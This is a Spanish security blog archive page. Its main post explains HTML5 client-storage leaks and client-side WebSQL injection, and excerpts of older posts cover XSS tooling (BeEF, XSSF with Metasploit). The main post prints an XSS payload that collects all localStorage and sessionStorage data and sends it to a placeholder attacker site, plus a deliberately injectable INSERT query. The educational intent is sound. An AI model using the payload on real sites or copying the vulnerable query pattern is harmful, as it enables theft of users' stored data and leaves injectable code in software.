Archivo

Posts Tagged ‘xss Stored aplicaciones web’

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

WEB HACKING – Configurando DOJO Web Security como Hacklab – Parte III

julio 9, 2012 5 comentarios

Todas las aplicaciones web tienen recursos que deben utilizar para brindar funcionalidades consistentes a sus usuarios, dichos recursos pueden ser elementos tan simples como imágenes, hojas de estilos CSS, páginas HTML estáticas, documentos de texto y casi cualquier tipo de elemento que contenga información. En muchas ocasiones el volumen de información manejada por una aplicación puede ser tan grande que el mantenimiento y administración de estos recursos puede ser muy complejo y evidentemente, propenso a errores, es en ese momento donde pueden ocurrir fugas de información privada o sensitiva que no debería estar expuesta al publico por el contenido de la misma, así como también pueden dejarse fallos sobre la configuración del servidor web o la aplicación. En este punto, un hacker o pentester “entra en escena” recolectando y analizando toda esta información. Se trata del primer paso que siempre se debe realizar, recolectar información del sistema o aplicación objetivo y “encajar” las piezas, como si tratara de un puzzle, cada pieza de información permite tener una imagen global del funcionamiento de la aplicación y por consiguiente, de los fallos que esta puede tener.

Leer más…

WEB HACKING – Conceptos Básicos sobre seguridad en aplicaciones Web, Metodología OWASP – Parte II

julio 5, 2012 Deja un comentario

Durante el proceso de pruebas de seguridad de una aplicación web, se suele tener la falsa concepción de que la revisión automatizada es eficiente y efectiva, es así como muchos testers y pentesters (especialmente los menos experimentados) suelen anteponer y priorizar los resultados devueltos por scanners de vulnerabilidades en aplicaciones web sobre la inspección manual, con esto no se pretende de ninguno modo desestimar la labor que desempeñan dichas herramientas como scanners y frameworks de penetración, solamente que es necesario comprender que dichas herramientas tienen sus propias LIMITACIONES y que no se puede esperar que una utilidad que ha sido creada para aplicaciones genéricas funcione del mismo modo para aplicaciones con un alto nivel de personalización. Dadas estas premisas, esta claro que el uso de las herramientas no es suficiente para afrontar el reto que implica desplegar una aplicación web segura, es necesario que la persona responsable y el equipo involucrado tenga presentes como mínimo las siguientes técnicas sobre el testing de una aplicación web

Leer más…

WEB HACKING – Conceptos Básicos sobre seguridad en aplicaciones Web y Pentesting – Parte I

julio 2, 2012 1 comentario

Este es el primer articulo de una serie de entradas que se publicarán en este sitio de forma periódica sobre un tema que actualmente se encuentra en constante evolución (y crecimiento), la seguridad en aplicaciones web y pentesting. Se trata de un tema que dada su complejidad y cantidad de información disponible puede abarcar un buen número de entradas (que al momento de escribir este documento no tengo del todo claro), sin embargo intentaré que sea lo más profundo y a la vez fácil de comprender para todo el mundo.

Leer más…

Utilizando XSSF en MetaSploit Framework – Explotando XSS

mayo 27, 2011 2 comentarios

Xssf Framework permite administrar victimas de ataques XSS genéricos y persiste una conexión con dichas victimas por medio de un “loop” en javascript, el cual se encarga de enviar peticiones reversas en intervalos definidos de tiempo con el fin de ejecutar exploits contra la victima.

Para usar xssf en metasploit es necesario localizar una aplicación vulnerable a ataques XSS, para probar y mejorar habilidades en el campo de la seguridad en aplicaciones web, existe un proyecto llamado DVWA (Damn Vulnerable Web Application), se trata de una aplicación escrita en PHP y MySQL que tiene habilitadas una serie de vulnerabilidades que permite a un profesional en seguridad, interactuar con la aplicación y comprender mejor los posibles ataques que pueden llevarse a cabo en aplicaciones web.

Leer más…

Integrando Herramientas del Arsenal: Beef y MetaSploit Framework

mayo 25, 2011 6 comentarios

Integrando Beef y MetaSploit Framework

Tal vez algunos que vengáis siguiendo este blog, ya conocéis las posibilidades que brinda MetaSploit para una fácil integración con otras herramientas relacionadas con pruebas de penetración, en este caso, Beef puede ser integrada y extendida con la potencia que lleva consigo MetaSploit Framework, partiendo de este punto, es posible ejecutar exploits y payloads contra victimas de ataques XSS administradas por Beef, la forma de integrar Beef y MetaSploit es muy sencilla y se basa en el uso del plugin xmlrpc de MetaSploit Framework, ya que permite crear un servicio que se encontrará en estado de “escucha” esperando a que nuevos clientes intenten conectarse a él (de una forma muy similar a como se hace con Nikto). Los pasos a seguir son los siguientes:

Leer más…

Automatizando Ataques XSS utilizando BEEF

mayo 24, 2011 10 comentarios

BEEF

Beef es una herramienta bastante útil y completa para automatizar ataques XSS contra clientes de aplicaciones web vulnerables, consiste en el uso de vectores de ataque XSS clásicos de forma automatizada, donde Beef, controla a todas las víctimas de este tipo de ataques y permite ejecutar diferentes tipos de payloads contra el objetivo, ademas de capturar información sobre la víctima, tales como sistema operativo utilizado, navegador, dirección IP, cookies, entre otra información valiosa.

Unas de las potencialidades que tiene esta herramienta es que se instala muy fácilmente ademas de que se integra con una serie de exploits manejados directamente por MetaSploit con el fin de conseguir penetrar en la maquina del objetivo, aunque este mecanismo de instalación es el mas sencillo, también se encuentra obsoleto, actualmente esta herramienta se encuentra en constante desarrollo y se ha migrado completamente a Ruby, a continuación se indica como instalar Beef de ambas formas.

Leer más…

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.077 seguidores

A %d blogueros les gusta esto: